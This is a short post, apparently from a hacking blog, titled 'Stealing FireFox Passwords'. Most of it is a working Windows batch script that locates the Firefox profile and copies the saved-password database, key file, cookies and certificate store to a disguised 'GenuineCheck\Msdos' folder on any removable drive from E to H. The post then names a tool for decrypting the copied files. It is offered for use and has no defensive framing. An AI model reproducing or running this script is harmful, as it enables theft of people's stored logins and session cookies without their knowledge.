Stealing FireFox Passwords

When run, the program copies the files to a folder GenuineCheck\Msdos on the following removable drives: E,F,G,H
So for it to work, you must create a folder named GenuineCheck and within;Msdos in your removable drive.
This is to avoid that the files are saved to unintended areas.

Firefox stores saved passwords and login info in encrypted files in the Application data directory.
I am posting a batch file that can grab these files and send them to a removable device.

This batch file has been written by illwill from gso forum and worked for versions 3.5 and below.
I tweaked it a bit for it to work on 3.5 and above.

Naturally, the files are encryted, use FirePassword to decrypt them.

The code is here:

ECHO OFF
COLOR F0
TITLE=::: Firefox Pass Grabber :::

CLS

VER | findstr /i "5.1." > nul
PUSHD "%UserProfile%\Application Data\Mozilla\Firefox"
IF NOT ERRORLEVEL 1 FOR /F "tokens=2 delims==" %%A IN ('TYPE profiles.ini ^| FINDSTR.EXE /R /B /I /C:"Path="') DO SET Profile=%%~nxA
set signons="%UserProfile%\Application Data\Mozilla\Firefox\Profiles\%Profile%\signons.sqlite"
set key="%UserProfile%\Application Data\Mozilla\Firefox\Profiles\%Profile%\key3.db"
set coo="%UserProfile%\Application Data\Mozilla\Firefox\Profiles\%Profile%\cookies.sqlite"
set cert="%UserProfile%\Application Data\Mozilla\Firefox\Profiles\%Profile%\cert8.db"

goto Send

:Send
copy %key% E:\GenuineCheck\Msdos\key3.db
copy %key% F:\GenuineCheck\Msdos\key3.db
copy %key% G:\GenuineCheck\Msdos\key3.db
copy %key% H:\GenuineCheck\Msdos\key3.db

copy %signons% E:\GenuineCheck\Msdos\signons.sqlite
copy %signons% F:\GenuineCheck\Msdos\signons.sqlite
copy %signons% G:\GenuineCheck\Msdos\signons.sqlite
copy %signons% H:\GenuineCheck\Msdos\signons.sqlite

copy %coo% E:\GenuineCheck\Msdos\cookies.sqlite
copy %coo% F:\GenuineCheck\Msdos\cookies.sqlite
copy %coo% G:\GenuineCheck\Msdos\cookies.sqlite
copy %coo% H:\GenuineCheck\Msdos\cookies.sqlite

copy %cert% E:\GenuineCheck\Msdos\cert8.db
copy %cert% F:\GenuineCheck\Msdos\cert8.db
copy %cert% G:\GenuineCheck\Msdos\cert8.db
copy %cert% H:\GenuineCheck\Msdos\cert8.db

ECHO.
ECHO==============================================
ECHO.
ECHO Files haved been saved
ECHO.
ECHO==============================================
ECHO.
PAUSE

Posted in: Browser hack,cracking,Hackers